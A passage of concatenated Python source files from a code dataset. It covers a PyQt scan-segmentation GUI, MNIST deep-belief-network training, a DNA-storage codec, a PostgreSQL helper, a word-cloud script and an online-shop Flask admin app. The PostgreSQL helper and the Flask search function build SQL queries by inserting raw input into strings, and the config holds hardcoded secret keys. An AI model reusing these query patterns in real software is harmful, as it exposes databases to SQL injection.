for the user not to have to change this\n if self.sourceModel.rowCount() > 0:\n self.selectFormatFromDirectory(directories[0])\n\n # If an error occurred, tell the user that the directory was not added\n if hasError:\n QMessageBox.critical(self, 'Invalid directory',\n 'One of the directories you chose was invalid. It was not added to the list')\n\n @pyqtSlot()\n def on_runButton_clicked(self):\n # If there are no source files, then return\n if self.sourceModel.rowCount() is 0:\n QMessageBox.warning(self, 'No source directories', 'There are no source directories in the list currently.'\n 'Please add some folders before converting.')\n return\n\n # Get the scan format\n format = ScanFormat(self.dataTypeComboBox.currentIndex())\n\n # Loop through each row in the list view\n for i in range(self.sourceModel.rowCount()):\n # Get the data path for the row\n dataPath = self.sourceModel.item(i).text()\n\n print('Beginning segmentation for %s' % dataPath)\n\n # Attempt to load the data from the data path\n try:\n data = loadData(dataPath, format, self.cacheDataCheckbox.isChecked())\n except Exception:\n print('Unable to load data from %s. Skipping...' % dataPath)\n print(traceback.format_exc())\n continue\n\n # Set constant pathDir to be the current data path to allow writing/reading from the current directory\n constants.pathDir = dataPath\n\n # Run segmentation algorithm\n try:\n runSegmentation(data, format)\n pass\n except Exception:\n print('Unable to run segmentation algorithm on %s. Skipping...' % dataPath)\n print(traceback.format_exc())\n continue\n\n print('Segmentation complete!')\n\n @pyqtSlot()\n def on_configureButton_clicked(self):\n selectedIndices = self.sourceListView.selectedIndexes()\n\n if self.sourceModel.rowCount() is 0:\n QMessageBox.warning(self, 'No source directories', 'There are no source directories in the list currently. '\n 'Please add some folders before converting.')\n return\n elif len(selectedIndices) == 0:\n QMessageBox.warning(self, 'No selected source directories', 'There are no source directories selected '\n 'currently. Please select one.')\n return\n elif len(selectedIndices) != 1:\n QMessageBox.warning(self, 'Multiple selected directories', 'There are currently more than one directories '\n 'selected to configure. Please select only one.')\n return\n\n # Get the scan format\n format = ScanFormat(self.dataTypeComboBox.currentIndex())\n\n # Get selected index text\n dataPath = selectedIndices[0].data()\n\n # Attempt to load the data from the data path\n try:\n data = loadData(dataPath, format, self.cacheDataCheckbox.isChecked())\n except Exception:\n print('Unable to load data from %s. Skipping...' % dataPath)\n print(traceback.format_exc())\n return\n\n if format == ScanFormat.TexasTechDixon:\n configureWindow = ConfigureWindowTexasTechDixon(data, dataPath, parent=self)\n configureWindow.exec()\n elif format == ScanFormat.WashUUnknown:\n configureWindow = ConfigureWindowWashUUnknown(data, dataPath, parent=self)\n configureWindow.exec()\n elif format == ScanFormat.WashUDixon:\n configureWindow = ConfigureWindowWashUDixon(data, dataPath, parent=self)\n configureWindow.exec()\n else:\n raise ValueError('Format must be a valid ScanFormat option')\n\n # Update the cached data if it was cached\n if self.cacheDataCheckbox.isChecked():\n updateCachedData(dataPath, configureWindow.getData())\n\n @pyqtSlot()\n def closeEvent(self, closeEvent):\n # Save settings when the window is closed\n self.saveSettings()\n","sub_path":"gui/mainWindow.py","file_name":"mainWindow.py","file_ext":"py","file_size_in_byte":8065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"279410045","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jan 23 10:46:09 2018\r\n\r\n@author: Alexandre Boyker\r\n\"\"\"\r\nfrom helper import get_MNIST_data \r\nfrom tf_helper import reset_graph\r\nfrom dbn import DBN\r\nfrom mlp import MLP\r\nfrom sklearn.model_selection import train_test_split\r\nfrom argparse import ArgumentParser\r\n\r\n\r\nparser = ArgumentParser()\r\nparser.add_argument(\"-bt\", \"--train_bool\", dest=\"train_bool\",\r\n help=\" training for dbn boolean, default=False\", type=bool, default=False)\r\n\r\nargs = parser.parse_args()\r\ntrain_bool = args.train_bool\r\n\r\n\r\n\r\n\r\ndef main():\r\n \r\n reset_graph()\r\n #get MNIST dataset, validation set is 10% of total samples (each class is equally represented)\r\n X_train, X_val, y_train, y_val = get_MNIST_data()\r\n # parameters for Deep Belief Network training\r\n # We use layers of size 784 - 500 - 500 - 2000, as they are known to work best\r\n param = {'batch_size':100,'n_epochs':25, 'model_name':\"dbn_MNIST\", 'layers_size': [X_train.shape[1] ,500, 500, 2000]}\r\n dbn = DBN(**param)\r\n # train the dbn\r\n if train_bool:\r\n \r\n dbn.train(X_train)\r\n \r\n # get the weights of the DBN\r\n weights_dict = dbn.get_weights()\r\n initial_weights = [weights_dict[\"hidden_layer_0\"][\"W\"], weights_dict[\"hidden_layer_1\"][\"W\"], weights_dict[\"hidden_layer_2\"][\"W\"], \"default\"]\r\n initial_bias = [weights_dict[\"hidden_layer_0\"][\"b\"], weights_dict[\"hidden_layer_1\"][\"b\"], weights_dict[\"hidden_layer_2\"][\"b\"], \"default\"]\r\n \r\n \r\n # we split the validation set of MNIST 2% for training and 98 % for validation\r\n X_train, X_val, y_train, y_val = train_test_split(X_val, y_val, test_size=0.98, random_state=23)\r\n \r\n # MLP trainng with DBN weights for initialization\r\n print(\"\\n\\n MLP trained with DBN weights\")\r\n param_dict = {'n_epochs':400,'layers_size' :[784, 500, 500, 2000, 10],'initial_bias':initial_bias, 'initial_weights':initial_weights, 'model_name':'mlp_dbn_ini'}\r\n mlp = MLP(**param_dict)\r\n \r\n\r\n mlp.train(X_train, y_train, X_val, y_val)\r\n \r\n # MLP training with random Gaussian weights for initialization\r\n print(\"\\n\\nMLP trained with random standard Gaussian weights\")\r\n\r\n param_dict = {'n_epochs':400,'layers_size' :[784, 500, 500, 2000, 10],'initial_bias':None, 'initial_weights':None, 'model_name':'mlp_random_ini'}\r\n mlp = MLP(**param_dict)\r\n mlp.train(X_train, y_train, X_val, y_val)\r\n\r\nif __name__ == '__main__':\r\n \r\n main()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"96543341","text":"\"\"\"\nName: Simple Codec (Simple DNA Storage Code)\n\nReference:\nChurch G M, Gao Y, Kosuri S. Next-generation digital information storage in DNA[J]. Science, 2012, 337(6102): 1628-1628.\n\nCoder: HaoLing ZHANG (BGI-Research)[V1]\n\nCurrent Version: 1\n\nFunction(s):\n(1) DNA encoding by Simple.\n(2) DNA decoding by Simple.\n\"\"\"\nimport random\nimport sys\n\nimport Chamaeleo.utils.monitor as monitor\nimport Chamaeleo.utils.log as log\nimport Chamaeleo.methods.components.inherent as inherent\n\n\n# noinspection PyMethodMayBeStatic,PyProtectedMember\nclass SC:\n def __init__(self, mapping_rule=None):\n \"\"\"\n introduction: The initialization method of Simple Codec.\n\n :param mapping_rule: Mapping between bases and numbers.\n There can be two settings:\n (1) Two bases correspond to a number (0 or 1): i.e. AT-0, CG-1.\n (2) Each base corresponds to a number: i.e. A-00, T-01, C-10, G-11.\n \"\"\"\n\n if not mapping_rule:\n mapping_rule = [0, 1, 1, 0]\n\n self.mapping_rule = mapping_rule\n\n self._init_check()\n\n self.file_size = 0\n self.m = monitor.Monitor()\n\n def _init_check(self):\n \"\"\"\n introduction: The verification of initialization parameters.\n \"\"\"\n if 0 <= min(self.mapping_rule) and max(self.mapping_rule) <= 1:\n if self.mapping_rule.count(0) != 2 or self.mapping_rule.count(1) != 2:\n log.output(log.ERROR, str(__name__), str(sys._getframe().f_code.co_name),\n \"Mapping rule is wrong!\")\n else:\n if (0 not in self.mapping_rule) or (1 not in self.mapping_rule) \\\n or (2 not in self.mapping_rule) or (3 not in self.mapping_rule):\n log.output(log.ERROR, str(__name__), str(sys._getframe().f_code.co_name),\n \"Mapping rule is wrong!\")\n\n # ================================================= encode part ====================================================\n\n def encode(self, matrix, size, need_log=False):\n \"\"\"\n introduction: Encode DNA sequences from the data of binary file.\n\n :param matrix: Generated binary two-dimensional matrix.\n The data of this matrix contains only 0 or 1 (non-char).\n Type: int or bit.\n\n :param size: This refers to file size, to reduce redundant bits when transferring DNA to binary files.\n Type: int\n\n :param need_log: Show the log.\n\n :return dna_sequences: The DNA sequence of len(matrix) rows.\n Type: list(string).\n \"\"\"\n self.file_size = size\n\n self.m.restore()\n\n if need_log:\n log.output(log.NORMAL, str(__name__), str(sys._getframe().f_code.co_name),\n \"Encode the matrix by Simple Codec.\")\n\n dna_sequences = []\n for row in range(len(matrix)):\n if need_log:\n self.m.output(row, len(matrix))\n dna_sequences.append(self._list_to_sequence(matrix[row]))\n\n return dna_sequences\n\n def _list_to_sequence(self, one_list):\n \"\"\"\n introduction: from one binary list to DNA sequence.\n\n :param one_list: One binary list.\n Type: int or bit.\n\n :return dna_sequence: One DNA sequence.\n Type: List(char).\n \"\"\"\n dna_sequence = []\n if 3 in self.mapping_rule:\n # unlimited mapping rule.\n if len(one_list) % 2 != 0:\n log.output(log.ERROR, str(__name__), str(sys._getframe().f_code.co_name),\n \"Data length cannot be odd number!\")\n for index in range(0, len(one_list), 2):\n dna_sequence.append(inherent.index_base.get(self.mapping_rule.index(one_list[index] * 2\n + one_list[index + 1])))\n else:\n for index in range(len(one_list)):\n options = [position for position, value in enumerate(self.mapping_rule) if value == one_list[index]]\n sliding_window = dna_sequence[-3:]\n if len(sliding_window) == 3 and len(set(sliding_window)) == 1:\n bases = list(map(inherent.index_base.get, options))\n for base in bases:\n if base != sliding_window[0]:\n dna_sequence.append(base)\n break\n else:\n dna_sequence.append(inherent.index_base.get(random.choice(options)))\n return dna_sequence\n\n # ================================================= decode part ====================================================\n\n def decode(self, dna_sequences, need_log=False):\n \"\"\"\n introduction: Decode DNA sequences to the data of binary file.\n\n :param dna_sequences: The DNA sequence of len(matrix) rows.\n Type: One-dimensional list(string).\n\n :param need_log: Show the log.\n\n :return matrix: The binary matrix corresponding to the DNA sequences.\n Type: Two-dimensional list(int).\n\n :return file_size: This refers to file size, to reduce redundant bits when transferring DNA to binary files.\n Type: int\n \"\"\"\n self.m.restore()\n\n if need_log:\n log.output(log.NORMAL, str(__name__), str(sys._getframe().f_code.co_name),\n \"Convert DNA sequences to binary matrix by Simple Codec.\")\n\n matrix = []\n for index in range(len(dna_sequences)):\n if need_log:\n self.m.output(index, len(dna_sequences))\n matrix.append(self._sequence_to_list(dna_sequences[index]))\n\n self.m.restore()\n return matrix, self.file_size\n\n def _sequence_to_list(self, dna_sequence):\n \"\"\"\n introduction: Convert one DNA sequence to one binary list.\n\n :param dna_sequence: One DNA sequence.\n Type: String.\n\n :return one_list: The binary list corresponding to the DNA sequence.\n Type: One-dimensional list(int).\n \"\"\"\n one_list = []\n if max(self.mapping_rule) == 3:\n for index in range(len(dna_sequence)):\n number = self.mapping_rule[inherent.base_index.get(dna_sequence[index])]\n one_list.append(1 if number >= 2 else 0)\n one_list.append(1 if number % 2 == 1 else 0)\n else:\n for index in range(len(dna_sequence)):\n one_list.append(self.mapping_rule[inherent.base_index.get(dna_sequence[index])])\n\n return one_list\n","sub_path":"methods/sc.py","file_name":"sc.py","file_ext":"py","file_size_in_byte":6845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"34647454","text":"import datetime\n\nimport psycopg2\nimport pandas as pd\n\n\nclass PSQLSession:\n def __init__(self, host, database, user, password):\n self.host = host\n self.database = database\n self.user = user\n self.password = password\n\n def __enter__(self):\n self.connection = psycopg2.connect(host=self.host,\n database=self.database,\n user=self.user,\n password=self.password)\n self.cursor = self.connection.cursor()\n return self\n\n def __exit__(self, exc_type, exc_value, exc_traceback):\n self.cursor.close()\n self.connection.commit()\n self.connection.close()\n\n def query(self, text):\n self.cursor.execute(text)\n data = pd.DataFrame(self.cursor.fetchall(),\n columns=[desc[0]\n for desc in self.cursor.description])\n return data\n\n def check_record_existance(self, table, data):\n query_text = '''SELECT id FROM {} WHERE {};'''.format(table,\n ' AND '.join(self.to_string_dict(data)))\n\n # print(query_text)\n self.cursor.execute(query_text)\n result = self.cursor.fetchall()\n return result[0][0] if len(result) > 0 else None\n\n def insert_query(self, table, columns, data, return_id=False, multiple=False):\n if multiple:\n query_text = '''INSERT INTO {}({}) VALUES {}'''.format(table, ', '.join(columns),\n '(' + '), ('.join([self.to_string_values(v, columns) for v in data]) + ')')\n else:\n query_text = '''INSERT INTO {}({}) VALUES {}'''.format(table, ', '.join(columns),\n '(' + self.to_string_values(data, columns) + ')')\n if return_id:\n query_text += ' RETURNING id'\n\n query_text += ';'\n\n # print(query_text)\n self.cursor.execute(query_text)\n\n if return_id:\n v = [id[0] for id in self.cursor.fetchall()]\n return v if multiple else v[0]\n\n def _get_query_elements(self, data, type='insert'):\n # delete pd.nan values\n deletable = []\n for k in data.keys():\n if pd.isna(data[k]):\n deletable.append(k)\n for k in deletable:\n del(data[k])\n\n keys = data.keys()\n\n values = [str(v) if not isinstance(v, str) and not isinstance(v, datetime.date)\n else '\\'{}\\''.format(v.replace('\\'', '\"'))\n for v in data.values()]\n if type == 'insert':\n return ', '.join(keys), ', '.join(values)\n elif type == 'select':\n return ' AND '.join(['{}={}'.format(key, value) for key, value in zip(keys, values)])\n\n def to_string_values(self, data, columns):\n output = []\n for col_name in columns:\n if col_name in data:\n # none value\n if data[col_name] is None or pd.isna(data[col_name]):\n v = 'NULL'\n elif not isinstance(data[col_name], str): # numeric value\n v = str(data[col_name])\n else: # string value\n v = '\\'{}\\''.format(data[col_name].replace('\\'', '\"'))\n else:\n v = 'NULL'\n output.append(v)\n return ', '.join(output)\n\n def to_string_dict(self, data):\n return ['{}={}'.format(key, str(v)\n if not isinstance(value, str)\n else '\\'{}\\''.format(value.replace('\\'', '\"')))\n for key, value in data.items()]\n","sub_path":"src/poe_price/data/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":3843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"214131539","text":"import pandas as pd\nimport numpy as np \nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom subprocess import check_output\nfrom wordcloud import WordCloud, STOPWORDS\n\ndf = pd.read_json('facebookmessage.json')\ndict1 = pd.DataFrame.from_dict(data)\ndict1 = pd.DataFrame.from_dict(data['messages'])\ndict1 = pd.DataFrame.from_dict(data['messages'])\n\nmessages = dict1[dict1['type']=='generic']\nmessages = dict1[dict1['type']=='Generic']\n\n\nmpl.rcParams['figure.figsize']=(8.0,6.0) #(6.0,4.0)\nmpl.rcParams['font.size']=12 #10 \nmpl.rcParams['savefig.dpi']=100 #72 \nmpl.rcParams['figure.subplot.bottom']=.1 \n\n\nstopwords = set(STOPWORDS)\n\n\nwordcloud = WordCloud(\n background_color='white',\n stopwords=stopwords,\n max_words=200,\n max_font_size=40, \n random_state=42\n ).generate(str(messages['content']))\n\nprint(wordcloud)\nfig = plt.figure(1)\nplt.imshow(wordcloud)\nplt.axis('off')\nplt.show()\ntext = \" \".join(review for review in messages.content)\nprint (\"There are {} words in the combination of all review.\".format(len(text)))\ntext = \" \".join(str(review) for review in messages.content)\nprint (\"There are {} words in the combination of all review.\".format(len(text)))\nstopwords = set(STOPWORDS)\nstopwords.update([\"drink\", \"now\", \"wine\", \"flavor\", \"flavors\"])\n\n# Generate a word cloud image\nwordcloud = WordCloud(stopwords=stopwords, background_color=\"white\").generate(text)\n\n# Display the generated image:\n# the matplotlib way:\nplt.imshow(wordcloud, interpolation='bilinear')\nplt.axis(\"off\")\nplt.show()\nmessages = messages[messages[['files', 'gifs', 'missed', 'photos', 'reactions','share','stickers','videos']== 'nan']]\nmessages = messages[messages['photos']== 'nan']\nmessages = dict1[dict1['type']=='Generic']\nmessages.dropna(thresh=2)\nmessages.dropnan(thresh=2)\ntest = messages[['photos'] == 'nan']\ntest = messages['photos'] == 'nan'\nmessages.info()\ntest = messages.dropna(subset = ['photos','gifs','videos'])\nstopwords = set(STOPWORDS)\nstopwords.update([\"mother\", \"sara\", \"head\", \"flavor\", \"flavors\"])\n\n# Generate a word cloud image\nwordcloud = WordCloud(stopwords=stopwords, background_color=\"white\").generate(text)\n","sub_path":"FacebookMessageWordcloud/FacebookMessageWordcloud.py","file_name":"FacebookMessageWordcloud.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"45971848","text":"import sys\n\nif len(sys.argv) != 3:\n print(\"\\nERRO Sintaxe: python3 script_arrumador.py \\n\")\n exit()\n\narquivo_entrada = sys.argv[1]\narquivo_saida = sys.argv[2]\t\n\narquivo = open(arquivo_entrada, 'r')\narquivo2 = open(arquivo_saida, 'w')\n\nfor linha in arquivo:\n escrita = ''\n cont = linha.split('\\t')\n escrita = 'i ' + cont[1] + ' ' + cont[9].strip() + ' 80 ' + cont[7]+ ' ' + cont[0] + ' 70 40 5,'+cont[3]+ ','+cont[4]+','+cont[5]+','+cont[6]\n arquivo2.write(escrita+'\\n')\n\n\narquivo2.close()\narquivo.close()\n","sub_path":"Caracterizacao/script_arrumador.py","file_name":"script_arrumador.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"294789559","text":"from flask_env import MetaFlaskEnv\nimport mysql.connector\nfrom mysql.connector import pooling\nfrom flask_wtf.csrf import CSRFProtect, CSRFError\nfrom datetime import timedelta\nfrom flask import Flask, render_template, redirect, url_for, make_response, request, flash, session\nimport uuid\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, PasswordField\nfrom wtforms.validators import DataRequired\nimport argon2\nimport json\nimport base64\nfrom filedownload import FileDownload\nfrom fileupload import FileUpload\nimport os\nimport ast\nfrom datetime import datetime\nfrom argon2 import PasswordHasher\n\nclass Configuration(metaclass=MetaFlaskEnv):\n SECRET_KEY = \"adminonlineshopsecretkey\"\n WTF_CSRF_SECRET_KEY = \"adminonlineshopsecretkey\"\n WTF_CSRF_TIME_LIMIT = 604800\n COOKIE = \"ADMIN-ONLINE-SHOP-KEY\"\n ADMIN_USER = \"USER\"\n HOST = \"127.0.0.1\"\n DB = \"online-shop\"\n USERS = \"admin\"\n PASSWORD = \"xxxx\"\n PORT = 3306\n ITEMS_TABLE = \"items\"\n ORDERS_TABLE = \"orders\"\n UPLOAD_TABLE = \"upload\"\n PRODUCTS_TABLE = \"products\"\n USERS_TABLE = \"users\"\n MESSAGES_TABLE = \"messages\"\n MINIO_API_URL = \"xxxx:9000\"\n MINIO_ACCESS_KEY = \"xxx\"\n MINIO_SECRET_KEY = \"xxx\"\n MINIO_SECURE = False\n MINIO_BUCKET_NAME = \"byape\"\n UPLOAD_PATH = '/tmp'\n\napp = Flask(__name__)\napp.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1)\ncsrf = CSRFProtect(app)\n\n@app.errorhandler(CSRFError)\ndef handle_csrf_error(e):\n form = LoginForm()\n return render_template('login.html', form=form, message=\"Session expired: {}\".format(e.description))\n\n\nclass LoginForm(FlaskForm):\n username = StringField('username', validators=[DataRequired()])\n password = PasswordField('password', validators=[DataRequired()])\n\ndef from_js_to_python_deserialize(b64data):\n \"\"\"\n b64 encoded byte stream -> b64 decoded byte stream -> json string -> python dictionary.\n The js side use: JSON.stringify() -> btoa()\n :param b64data: Base 64 encoded data\n :return: python dictionary\n \"\"\"\n ret = {}\n try:\n ret = json.loads(base64.b64decode(b64data).decode('utf-8'))\n except:\n pass\n finally:\n return ret\n\ndef from_python_to_js_serialization(pythondict):\n \"\"\"\n pythondict -> json string -> byte array -> b64 encode\n The js side use: string.replace() to remove ' garbage -> JSON.parse() -> atob()\n :param pythondict:\n :return:\n \"\"\"\n return base64.b64encode(json.dumps(pythondict).encode('utf-8'))\n\ndef update_product(id, title, description, price, images):\n conn = cnxpool.get_connection()\n c = conn.cursor()\n mysql_update_query = f\"update {app.config['ITEMS_TABLE']} set title=%s, description=%s, price=%s, images=%s where id=%s\"\n try:\n c.execute(mysql_update_query,(title, description, price, images, id))\n conn.commit()\n ret = 'Inserted', 200\n except Exception as e:\n ret = str(e), 404\n c.close()\n conn.close()\n return ret\n\n\ndef add_product(title, description, price, images):\n conn = cnxpool.get_connection()\n c = conn.cursor()\n mysql_add_query = f\"insert into {app.config['ITEMS_TABLE']} (title, description, price, images) values (%s,%s,%s,%s)\"\n try:\n c.execute(mysql_add_query,(title, description, price, images))\n conn.commit()\n ret = 'Inserted', 200\n except Exception as e:\n ret = str(e), 404\n c.close()\n conn.close()\n return ret\n\ndef get_product_by_id(id):\n conn = cnxpool.get_connection()\n c = conn.cursor()\n mysql_select_query = f\"select * from {app.config['ITEMS_TABLE']} where id=%s\"\n c.execute(mysql_select_query, (id,))\n product = c.fetchone()\n if product is not None:\n if product[4] is not None:\n images = ast.literal_eval(product[4])\n resp = {'id': product[0], 'title': product[1], 'description': product[2], 'price': product[3],\n 'images': images}\n else:\n resp = {'id': product[0], 'title': product[1], 'description': product[2], 'price': product[3]}\n else:\n resp = {}\n c.close()\n conn.close()\n return resp\n\ndef get_products():\n response = []\n conn = cnxpool.get_connection()\n c = conn.cursor()\n mysql_select_query = f\"select * from {app.config['ITEMS_TABLE']}\"\n c.execute(mysql_select_query)\n products = c.fetchall()\n if len(products) != 0:\n for product in products:\n if product[4] is not None:\n images = ast.literal_eval(product[4])\n resp = {'id':product[0], 'title': product[1], 'description': product[2], 'price': product[3], 'images': images}\n else:\n resp = {'id': product[0], 'title': product[1], 'description': product[2], 'price': product[3]}\n response.append(resp)\n c.close()\n conn.close()\n return response\n\n\ndef get_name_item(itemid,identified):\n conn = cnxpool.get_connection()\n c = conn.cursor(buffered=True)\n mysql_select_query = f\"select i.title, p.quantity, p.price from {app.config['ITEMS_TABLE']} i join {app.config['PRODUCTS_TABLE']} p on \" \\\n f\"i.id = p.itemid where p.itemid = %s and p.identified = %s\"\n c.execute(mysql_select_query, (itemid, identified))\n item = c.fetchone()\n if item is not None:\n ret = {'item': item[0], 'quantity': item[1], 'price': item[2]}\n else:\n ret = {}\n c.close()\n conn.close()\n return ret\n\ndef get_order_itemid(identified):\n ids = []\n conn = cnxpool.get_connection()\n c = conn.cursor()\n mysql_select_query = f\"select itemid from {app.config['PRODUCTS_TABLE']} where identified = %s\"\n c.execute(mysql_select_query, (identified,))\n itemids = c.fetchall()\n if len(itemids) != 0:\n for id in itemids:\n ids.append(id[0])\n c.close()\n conn.close()\n return ids\n\ndef get_order_by_identified():\n conn = cnxpool.get_connection()\n c = conn.cursor()\n mysql_select_query = f\"select identified from {app.config['ORDERS_TABLE']} order by time desc\"\n c.execute(mysql_select_query)\n orders = c.fetchall()\n if len(orders) != 0:\n ret = orders\n else:\n ret = []\n c.close()\n conn.close()\n return ret\n\ndef get_items(date):\n results = []\n conn = cnxpool.get_connection()\n c = conn.cursor()\n mysql_select_query = f\"select identified, name, email, phone, address, city, payment, total, time, dayship, timeship, ordercode, note, checked from \" \\\n f\"{app.config['ORDERS_TABLE']} where identified = %s and date(time) = %s\"\n orders = get_order_by_identified()\n for order in orders:\n quantity = []\n ids = get_order_itemid(order[0])\n for id in ids:\n quantity.append(get_name_item(id,order[0]))\n c.execute(mysql_select_query, (order[0], date))\n resp = c.fetchone()\n if resp is not None:\n day_raw = resp[9].split('-')\n day = day_raw[2] + '/' + day_raw[1] + '/' + day_raw[0]\n results.append({'identified': resp[0], 'name': resp[1], 'email': resp[2], 'phone': resp[3], 'address': resp[4],\n 'city': resp[5], 'payment': resp[6], 'total':resp[7], 'timeorder':resp[8].strftime('%H:%M %d/%m/%Y'),\n 'dayship': day, 'timeship': resp[10], 'code': resp[11], 'note': resp[12], 'checked': resp[13],'detail': quantity})\n c.close()\n conn.close()\n return results\n\ndef delete_item(id):\n conn = cnxpool.get_connection()\n c = conn.cursor()\n mysql_delete_query = f\"delete from {app.config['ITEMS_TABLE']} where id=%s\"\n try:\n c.execute(mysql_delete_query, (id,))\n conn.commit()\n ret = 'Item deleted', 200\n except Exception as e:\n ret = str(e), 404\n c.close()\n conn.close()\n return ret\n\ndef delete_msg(id):\n conn = cnxpool.get_connection()\n c = conn.cursor()\n mysql_delete_query = f\"delete from {app.config['MESSAGES_TABLE']} where id=%s\"\n try:\n c.execute(mysql_delete_query, (id,))\n conn.commit()\n ret = 'Item deleted', 200\n except Exception as e:\n ret = str(e), 404\n c.close()\n conn.close()\n return ret\n\n\ndef displayfunction(viewstate):\n orders = []\n current = datetime.now().strftime('%H:%M:%S %d/%m/%Y')\n user = session.get('user')\n email = session.get('email')\n telephone = session.get('telephone')\n if len(viewstate) == 0:\n try:\n current_date = datetime.now().strftime('%Y-%m-%d')\n orders = get_items(current_date)\n except Exception as e:\n flash('Error: {}'.format(str(e)))\n pass\n viewstate = from_python_to_js_serialization(viewstate)\n numbResults = len(orders)\n return render_template('index.html', user=user, viewstate=viewstate, results=numbResults, datas=orders, current=current, email=email, telephone=telephone)\n\n\ndef login_function(form):\n user_name = form.username.data\n user_pass = form.password.data\n ph = argon2.PasswordHasher()\n conn = cnxpool.get_connection()\n c = conn.cursor()\n mysql_select_query = f\"select password, username, email, telephone from {Configuration.USERS_TABLE} where username = %s LIMIT 1\"\n c.execute(mysql_select_query, (user_name,))\n record = c.fetchone()\n if record is not None:\n try:\n if ph.verify(record[0], user_pass) is True:\n ret = {'user': record[1], 'email':record[2], 'telephone':record[3], 'message':'authsuccess'}\n code = 200\n session[\"if_logged\"] = True\n session['user'] = record[1]\n session['email'] = record[2]\n session['telephone'] = record[3]\n except (argon2.exceptions.VerifyMismatchError, argon2.exceptions.VerificationError):\n ret = {'message': 'Login incorrect'}\n code = 401\n else:\n ret = {'message': 'Login incorrect'}\n code = 401\n c.close()\n conn.close()\n return ret, code\n\ndef search_function(keyword):\n result = []\n quantity = []\n conn = cnxpool.get_connection()\n c = conn.cursor()\n mysql_select_query = f\"select identified, name, email, phone, address, city, payment, total, time, dayship, timeship, ordercode, note from {app.config['ORDERS_TABLE']}\" \\\n f\" where email like '%{keyword}%' or phone like '{keyword}%' or ordercode like '{keyword}%'\"\n c.execute(mysql_select_query)\n records = c.fetchall()\n if len(records) !=0:\n for resp in records:\n ids = get_order_itemid(resp[0])\n for id in ids:\n quantity.append(get_name_item(id, resp[0]))\n day_raw = resp[9].split('-')\n day = day_raw[2] + '/' + day_raw[1] + '/' + day_raw[0]\n result.append({'identified': resp[0], 'name': resp[1], 'email': resp[2], 'phone': resp[3], 'address': resp[4],\n 'city': resp[5], 'payment': resp[6], 'total': resp[7], 'timeorder': resp[8].strftime('%H:%M %d/%m/%Y'),\n 'dayship': day, 'timeship': resp[10], 'code': resp[11], 'note': resp[12], 'detail': quantity})\n ret = {'keyword': keyword, 'results': result}\n code = 200\n else:\n ret = {'message': 'Search does not exist'}\n code = 404\n c.close()\n conn.close()\n return ret, code\n\ndef check_done_function(id):\n conn = cnxpool.get_connection()\n c = conn.cursor()\n check = 1\n mysql_update_query = f\"update {app.config['ORDERS_TABLE']} set checked=%s where identified=%s\"\n try:\n c.execute(mysql_update_query, (check,id))\n conn.commit()\n ret = 'Updated', 200\n except Exception as e:\n ret = str(e), 404\n c.close()\n conn.close()\n return ret\n\ndef check_undone_function(id):\n conn = cnxpool.get_connection()\n c = conn.cursor()\n check = 0\n mysql_update_query = f\"update {app.config['ORDERS_TABLE']} set checked=%s where identified=%s\"\n try:\n c.execute(mysql_update_query, (check,id))\n conn.commit()\n ret = 'Updated', 200\n except Exception as e:\n ret = str(e), 404\n c.close()\n conn.close()\n return ret\n\ndef profilechange(email,telephone,user):\n conn = cnxpool.get_connection()\n c = conn.cursor()\n mysql_update_query = f\"update {app.config['USERS_TABLE']} set email=%s,telephone=%s where username=%s\"\n try:\n c.execute(mysql_update_query, (email,telephone,user))\n conn.commit()\n ret = 'Updated', 200\n except Exception as e:\n ret = str(e), 404\n c.close()\n conn.close()\n return ret\n\ndef passchange(user, curpass, newpass):\n current_user = user\n current_pass = curpass\n newpass = newpass\n conn = cnxpool.get_connection()\n c = conn.cursor()\n ph = PasswordHasher()\n mysql_select_query = f\"select username, password, enable from {Configuration.USERS_TABLE} where username = %s LIMIT 1\"\n c.execute(mysql_select_query, (current_user,))\n record = c.fetchone()\n try:\n if ph.verify(record[1], current_pass) is True:\n mysql_update_query = f\"update {Configuration.USERS_TABLE} set password = %s where username = %s\"\n mysql_update_tuple = (ph.hash(newpass), current_user)\n c.execute(mysql_update_query, mysql_update_tuple)\n conn.commit()\n ret = {'username': current_user}\n code = 200\n except (argon2.exceptions.VerifyMismatchError, argon2.exceptions.VerificationError) as e:\n ret = {'message': f\"Password change failed because {str(e)}\"}\n code = 404\n c.close()\n conn.close()\n return ret, code\n\ndef get_messages_by_date(date):\n results = []\n conn = cnxpool.get_connection()\n c = conn.cursor()\n mysql_select_query = f\"select * from {app.config['MESSAGES_TABLE']} where date(time)=%s\"\n c.execute(mysql_select_query, (date,))\n records = c.fetchall()\n if records is not None:\n for record in records:\n res = {'id': record[0], 'name': record[1], 'phone': record[2], 'subject': record[3], 'message': record[4], 'time': record[5].strftime('%H:%M %d/%m/%Y')}\n results.append(res)\n ret = results\n code = 200\n else:\n ret = results\n code = 404\n c.close()\n conn.close()\n return ret, code\n\n@app.route('/')\ndef root():\n resp = redirect(url_for('login'))\n return resp\n\n@app.route('/menu', methods=['GET', 'POST'])\ndef menu():\n if session.get('if_logged') is not None:\n return displayfunction(viewstate={})\n else:\n flash('You need to login first')\n return redirect('/login', code=302)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n session.permanent = True\n form = LoginForm()\n if form.validate_on_submit():\n # Make openapi login query with username and password\n try:\n login_systems = login_function(form)\n if login_systems[1] == 200:\n # If response is code 200 --> get apikey and set cookie\n resp = make_response(redirect(\"/menu\"))\n else: \n # If response is code 401 --> redirect to error login page\n flash(f\"{login_systems[0]['message']}\")\n resp = render_template('login.html', form=form)\n return resp\n except Exception as e:\n session.clear()\n flash(f\"{str(e)}\")\n return 